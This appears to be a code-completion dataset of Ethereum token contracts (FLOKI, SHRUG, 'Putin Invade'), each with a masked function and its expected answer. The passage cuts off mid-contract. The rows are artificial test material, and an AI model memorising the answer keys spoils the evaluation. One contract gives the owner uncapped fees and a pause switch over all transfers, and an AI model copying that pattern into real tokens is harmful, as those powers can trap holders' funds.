name = "Floki Shiba Inu (Official)";
symbol = "FLOKI";
decimals = 18;
_totalSupply = 100000000000000000000000000000000;
balances[msg.sender] = 100000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | contract FlokiShibaInu is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "Floki Shiba Inu (Official)";
symbol = "FLOKI";
decimals = 18;
_totalSupply = 100000000000000000000000000000000;
balances[msg.sender] = 100000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
<FILL_FUNCTION>
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} |
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
| function transfer(address to, uint tokens) public returns (bool success) | function transfer(address to, uint tokens) public returns (bool success) |
16389 | ERC20Token | contract ERC20Token is StandardToken {
function () {<FILL_FUNCTION_BODY>
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function ERC20Token() {
balances[msg.sender] = 999991818632568770064273785409628;
totalSupply = 999991818632568770064273785409628;
name = "SHRUG Token";
decimals = 18;
symbol = "SHRUG";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | contract ERC20Token is StandardToken {
<FILL_FUNCTION>
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function ERC20Token() {
balances[msg.sender] = 999991818632568770064273785409628;
totalSupply = 999991818632568770064273785409628;
name = "SHRUG Token";
decimals = 18;
symbol = "SHRUG";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} |
//if ether is sent to this address, send it back.
throw; | function () | function () |
|
53674 | PutinInvade | _transferToExcluded | contract PutinInvade is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _whiteList;
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name ="Putin Invade";
string private _symbol = "$PUTINVADE";
uint8 private _decimals = 9;
//Buy Fees
uint256 public _buyTaxFee = 0;
uint256 public _buyLiquidityFee = 5;
uint256 public _buyMarketingFee = 3;
uint256 public _buyBurnFee = 2;
//Sell Fees
uint256 public _sellTaxFee = 0;
uint256 public _sellMarketingFee = 5;
uint256 public _sellLiquidityFee = 3;
uint256 public _sellBurnFee = 2;
// Fees (Current)
uint256 private _taxFee;
uint256 private _marketingFee;
uint256 private _liquidityFee;
uint256 private _burnFee;
address payable public marketingWallet = payable(0xc090698DE0Cc53B0feF57e9d7C3DaBDEda4A2916);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public numTokensSellToAddToLiquidity = 1000000000 * 10**9; //0.1%
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public maxBuyTransactionAmount = 10000000000 * 10**9;
uint256 public maxWalletToken = 25000000000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_whiteList[owner()] = true;
_whiteList[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0 && _marketingFee==0 && _burnFee==0) return;
_taxFee = 0;
_liquidityFee = 0;
_marketingFee = 0;
_burnFee = 0;
}
function isWhiteListed(address account) public view returns(bool) {
return _whiteList[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) whenNotPaused() private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
to != uniswapV2Pair
) {
uint256 contractBalanceRecepient = balanceOf(to);
require(
contractBalanceRecepient + amount <= maxWalletToken,
"Exceeds maximum wallet token amount."
);
}
if(from == uniswapV2Pair && !isWhiteListed(to)){
require(amount <= maxBuyTransactionAmount, "Buy transfer amount exceeds the maxBuyTransactionAmount.");
}
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
// Indicates if fee should be deducted from transfer
bool takeFee = true;
// If any account belongs to _isExcludedFromFee account then remove the fee
if(isWhiteListed(from) || isWhiteListed(to)){
takeFee = false;
}
// Set buy fees
if(from == uniswapV2Pair || from.isContract()) {
_taxFee = _buyTaxFee;
_marketingFee = _buyMarketingFee;
_liquidityFee = _buyLiquidityFee;
_burnFee = _buyBurnFee;
}
// Set sell fees
if(to == uniswapV2Pair || to.isContract()) {
_taxFee = _sellTaxFee;
_marketingFee = _sellMarketingFee;
_liquidityFee = _sellLiquidityFee;
_burnFee = _sellBurnFee;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 combineFees = _liquidityFee.add(_marketingFee); // marketing + liquidity fees
uint256 tokensForLiquidity = contractTokenBalance.mul(_liquidityFee).div(combineFees);
uint256 tokensForMarketing = contractTokenBalance.sub(tokensForLiquidity);
// split the Liquidity tokens balance into halves
uint256 half = tokensForLiquidity.div(2);
uint256 otherHalf = tokensForLiquidity.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
uint256 contractBalance = address(this).balance;
swapTokensForEth(tokensForMarketing);
uint256 transferredBalance = address(this).balance.sub(contractBalance);
//Send to Marketing address
transferToAddressETH(marketingWallet, transferredBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount) private
{
if(_whiteList[sender] || _whiteList[recipient])
{
removeAllFee();
}
else
{
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private
{
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
(tTransferAmount, rTransferAmount) = takeBurn(sender, tTransferAmount, rTransferAmount, tAmount);
(tTransferAmount, rTransferAmount) = takeMarketing(sender, tTransferAmount, rTransferAmount, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function takeBurn(address sender, uint256 tTransferAmount, uint256 rTransferAmount, uint256 tAmount) private
returns (uint256, uint256)
{
if(_burnFee==0) { return(tTransferAmount, rTransferAmount); }
uint256 tBurn = tAmount.div(100).mul(_burnFee);
uint256 rBurn = tBurn.mul(_getRate());
rTransferAmount = rTransferAmount.sub(rBurn);
tTransferAmount = tTransferAmount.sub(tBurn);
_rOwned[deadAddress] = _rOwned[deadAddress].add(rBurn);
emit Transfer(sender, deadAddress, tBurn);
return(tTransferAmount, rTransferAmount);
}
function takeMarketing(address sender, uint256 tTransferAmount, uint256 rTransferAmount, uint256 tAmount) private
returns (uint256, uint256)
{
if(_marketingFee==0) { return(tTransferAmount, rTransferAmount); }
uint256 tMarketing = tAmount.div(100).mul(_marketingFee);
uint256 rMarketing = tMarketing.mul(_getRate());
rTransferAmount = rTransferAmount.sub(rMarketing);
tTransferAmount = tTransferAmount.sub(tMarketing);
_rOwned[address(this)] = _rOwned[address(this)].add(rMarketing);
emit Transfer(sender, address(this), tMarketing);
return(tTransferAmount, rTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {<FILL_FUNCTION_BODY> }
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_whiteList[account] = true;
}
function includeInFee(address account) public onlyOwner {
_whiteList[account] = false;
}
function setMarketingWallet(address payable newWallet) external onlyOwner() {
marketingWallet = newWallet;
}
function setBuyFeePercent(uint256 taxFee, uint256 MarketingFee, uint256 liquidityFee, uint256 burnFee) external onlyOwner() {
_buyTaxFee = taxFee;
_buyMarketingFee = MarketingFee;
_buyLiquidityFee = liquidityFee;
_buyBurnFee = burnFee;
}
function setSellFeePercent(uint256 taxFee, uint256 MarketingFee, uint256 liquidityFee, uint256 burnFee) external onlyOwner() {
_sellTaxFee = taxFee;
_sellMarketingFee = MarketingFee;
_sellLiquidityFee = liquidityFee;
_sellBurnFee = burnFee;
}
function setNumTokensSellToAddToLiquidity(uint256 newAmt) external onlyOwner() {
numTokensSellToAddToLiquidity = newAmt*10**_decimals;
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount * 10**_decimals;
}
function setMaxBuytx(uint256 _newAmount) public onlyOwner {
maxBuyTransactionAmount = _newAmount * 10**_decimals;
}
function setMaxWalletToken(uint256 _maxToken) external onlyOwner {
maxWalletToken = _maxToken * 10**_decimals;
}
//New router address?
//No problem, just change it here!
function setRouterAddress(address newRouter) public onlyOwner() {
IUniswapV2Router02 _newPancakeRouter = IUniswapV2Router02(newRouter);
uniswapV2Pair = IUniswapV2Factory(_newPancakeRouter.factory()).createPair(address(this), _newPancakeRouter.WETH());
uniswapV2Router = _newPancakeRouter;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
} | contract PutinInvade is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _whiteList;
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name ="Putin Invade";
string private _symbol = "$PUTINVADE";
uint8 private _decimals = 9;
//Buy Fees
uint256 public _buyTaxFee = 0;
uint256 public _buyLiquidityFee = 5;
uint256 public _buyMarketingFee = 3;
uint256 public _buyBurnFee = 2;
//Sell Fees
uint256 public _sellTaxFee = 0;
uint256 public _sellMarketingFee = 5;
uint256 public _sellLiquidityFee = 3;
uint256 public _sellBurnFee = 2;
// Fees (Current)
uint256 private _taxFee;
uint256 private _marketingFee;
uint256 private _liquidityFee;
uint256 private _burnFee;
address payable public marketingWallet = payable(0xc090698DE0Cc53B0feF57e9d7C3DaBDEda4A2916);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public numTokensSellToAddToLiquidity = 1000000000 * 10**9; //0.1%
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public maxBuyTransactionAmount = 10000000000 * 10**9;
uint256 public maxWalletToken = 25000000000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_whiteList[owner()] = true;
_whiteList[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0 && _marketingFee==0 && _burnFee==0) return;
_taxFee = 0;
_liquidityFee = 0;
_marketingFee = 0;
_burnFee = 0;
}
function isWhiteListed(address account) public view returns(bool) {
return _whiteList[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) whenNotPaused() private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
to != uniswapV2Pair
) {
uint256 contractBalanceRecepient = balanceOf(to);
require(
contractBalanceRecepient + amount <= maxWalletToken,
"Exceeds maximum wallet token amount."
);
}
if(from == uniswapV2Pair && !isWhiteListed(to)){
require(amount <= maxBuyTransactionAmount, "Buy transfer amount exceeds the maxBuyTransactionAmount.");
}
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
